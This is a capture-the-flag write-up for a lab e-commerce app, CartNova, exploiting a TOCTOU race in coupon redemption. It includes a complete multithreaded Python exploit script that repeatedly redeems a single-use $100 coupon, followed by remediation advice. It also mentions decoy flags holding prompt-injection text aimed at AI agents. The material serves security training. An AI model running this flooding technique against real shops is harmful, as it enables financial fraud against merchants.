Lab 177 — CartNova — Race Condition in Coupon Redemption
Lab 177 — CartNova — Race Condition in Coupon Redemption
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization, toctou_coupon_bypass
Summary
Task: Express.js e-commerce app with WELCOME100 coupon ($100) and premium product ($499.99); coupon redeem endpoint has non-atomic check-then-update. Solution: fire 300 concurrent threads with threading.Barrier to exploit TOCTOU window, redeem coupon 5× for $500, purchase premium product to get flag.
Lab 177 — CartNova — Race Condition in Coupon Redemption — HackAdvisor
Description
CartNova is a modern online store where users can browse products, manage their shopping cart, and make purchases using their wallet balance. The platform features a coupon redemption system that lets users apply promotional codes to add credit to their wallet. Your goal is to find a way to obtain the exclusive digital content hidden behind one of the premium products. Pay close attention to how the platform processes financial transactions. A welcome coupon worth $100 is advertised on the store homepage, but the premium product you need costs $499.99. You'll need to figure out how to accumulate enough wallet balance to make the purchase.
English summary: An Express.js e-commerce application with a wallet-based payment system. A single-use coupon WELCOME100 gives $100 credit, but the target product costs $499.99. The coupon redemption endpoint has a TOCTOU race condition that allows multiple concurrent redemptions of the same coupon, accumulating enough balance to purchase the premium product containing the flag.
Recon
The application is an Express.js backend behind nginx (headers: X-Powered-By: Express, Server: nginx/1.25.5) with session management via connect.sid cookie (express-session).
Key endpoints discovered:
| Endpoint | Method | Purpose |
|---|---|---|
/register | POST | Create new account (username, email, password, confirmPassword) |
/account/redeem | GET | Coupon redemption page (shows wallet balance) |
/api/coupons/redeem | POST | Redeem coupon — JSON {"code": "WELCOME100"} |
/api/cart/add | POST | Add product to cart — JSON {"productId": 10, "quantity": 1} |
/api/checkout | POST | Process purchase from wallet balance |
/account/orders/{orderId} | GET | Order details (flag is here after purchase) |
| |
The homepage advertises coupon code WELCOME100 worth $100 store credit. The product catalog has 10 items; the target is product ID 10 "Exclusive Digital Collector Bundle" at $499.99.
Every page contains the decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — these are fake honeypots with prompt injection text targeting AI agents. Ignored.
Vulnerability
The POST /api/coupons/redeem endpoint has a classic TOCTOU (Time-of-Check to Time-of-Use) race condition. The coupon redemption flow is:
- CHECK: Query database to verify if coupon has already been redeemed by this user
- APPLY: Add $100 credit to the user's wallet balance
- UPDATE: Mark the coupon as redeemed in the database
These three steps are not wrapped in an atomic transaction. Between step 1 (check) and step 3 (update), multiple concurrent requests can all pass the "already redeemed" check before any of them marks the coupon as used.
Thread A: CHECK → pass ──────────────────── APPLY → UPDATE
Thread B: CHECK → pass ──────────── APPLY → UPDATE
Thread C: CHECK → pass ──── APPLY → UPDATE
Thread D: CHECK → pass → APPLY → UPDATE
Thread E: CHECK → pass → APPLY → UPDATE
↑ all pass because none has updated yet
With 300 concurrent threads, typically 3-7 threads slip through the TOCTOU window, each adding $100 to the wallet. Five successful redemptions yield $500, enough to purchase the $499.99 product.
Exploitation
Step 1: Register a fresh account
Each attempt uses a new account to get a clean coupon state:
python read-only • copy allowedsession.post(f"{BASE_URL}/register", data={ "username": username, "email": f"{username}@test.com", "password": "password123", "confirmPassword": "password123" })
Step 2: Race the coupon redemption
Use threading.Barrier to synchronize 300 threads — all threads wait at the barrier, then release their HTTP requests simultaneously to maximize the TOCTOU window:
python read-only • copy allowedbarrier = threading.Barrier(num_threads, timeout=60) def attack_thread(idx): s = requests.Session() s.cookies.update(cookies) # shared connect.sid barrier.wait() # synchronize all threads resp = s.post(f"{BASE_URL}/api/coupons/redeem", json={"code": "WELCOME100"}, timeout=30)
Each thread uses its own requests.Session but shares the same connect.sid cookie from the registered account. Multiple waves are fired if the first wave doesn't yield enough balance.
Step 3: Purchase the premium product
Once balance ≥ $499.99:
python read-only • copy allowedsession.post(f"{BASE_URL}/api/cart/add", json={"productId": 10, "quantity": 1}) session.post(f"{BASE_URL}/api/checkout", json={}) # Flag appears in order details page session.get(f"{BASE_URL}/account/orders/{order_id}")
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """CartNova Race Condition Exploit — TOCTOU coupon redemption""" import requests import threading import random import string import urllib3 import time import re urllib3.disable_warnings() BASE_URL = "https://d596abfb-8977-41c3-a3a1-75fdc0673cd3.labs.hackadvisor.io" COUPON_CODE = "WELCOME100" TARGET_PRODUCT_ID = 10 TARGET_BALANCE = 500.0 def random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def register_new_user(): session = requests.Session() session.verify = False username = f"r_{random_string(10)}" email = f"{username}@test.com" resp = session.post(f"{BASE_URL}/register", data={ "username": username, "email": email, "password": "password123", "confirmPassword": "password123" }, allow_redirects=True) home = session.get(f"{BASE_URL}/") if "Wallet:" not in home.text: return None, username return session, username def check_balance(session): resp = session.get(f"{BASE_URL}/account/redeem") match = re.search(r'Wallet:\s*\$([0-9.]+)', resp.text) return float(match.group(1)) if match else 0.0 def race_wave(cookies, num_threads=300): barrier = threading.Barrier(num_threads, timeout=60) results = [] lock = threading.Lock() def attack_thread(idx): s = requests.Session() s.verify = False s.cookies.update(cookies) try: barrier.wait() resp = s.post(f"{BASE_URL}/api/coupons/redeem", json={"code": COUPON_CODE}, timeout=30) data = resp.json() with lock: results.append(data) if data.get("success"): print(f" [+] Thread {idx}: Balance ${data.get('newBalance', 0):.2f}") except: pass threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(num_threads)] for t in threads: t.start() for t in threads: t.join(timeout=60) return len([r for r in results if r.get("success")]) def multi_wave_attack(session, waves=5, threads_per_wave=300): cookies = dict(session.cookies) for wave in range(waves): print(f" Wave {wave+1}/{waves} ({threads_per_wave} threads)...") success = race_wave(cookies, threads_per_wave) bal = check_balance(session) print(f" Wave {wave+1}: {success} redemptions, balance: ${bal:.2f}") if bal >= TARGET_BALANCE: return bal time.sleep(0.5) return check_balance(session) def purchase(session, product_id): resp = session.post(f"{BASE_URL}/api/cart/add", json={"productId": product_id, "quantity": 1}) print(f"[*] Add to cart: {resp.json()}") resp = session.post(f"{BASE_URL}/api/checkout", json={}) data = resp.json() print(f"[*] Checkout: {data}") if data.get("success"): order_id = data.get("orderId") resp = session.get(f"{BASE_URL}/account/orders/{order_id}") flags = re.findall(r'FLAG\{[0-9a-f]{32}\}', resp.text) if flags: return flags[0] return None def main(): for attempt in range(10): print(f"\n=== ATTEMPT {attempt + 1} ===") session, username = register_new_user() if not session: continue print(f"[+] Registered: {username}") balance = multi_wave_attack(session, waves=5, threads_per_wave=300) print(f"[*] Final balance: ${balance:.2f}") if balance >= TARGET_BALANCE: flag = purchase(session, TARGET_PRODUCT_ID) if flag: print(f"\nFLAG: {flag}") return time.sleep(0.5) if __name__ == "__main__": main()
Remediation
- Wrap the coupon check + credit + mark-as-used in a single database transaction with row-level locking (
SELECT ... FOR UPDATEor equivalent). - Use a unique constraint on
(user_id, coupon_code)in the redemption table so duplicate inserts fail at the DB level. - Implement application-level mutex (e.g., Redis distributed lock keyed on
user_id:coupon_code) to serialize redemption attempts. - Add rate limiting on the coupon redemption endpoint to reduce the attack surface.
- Use idempotency keys for financial operations to prevent duplicate processing.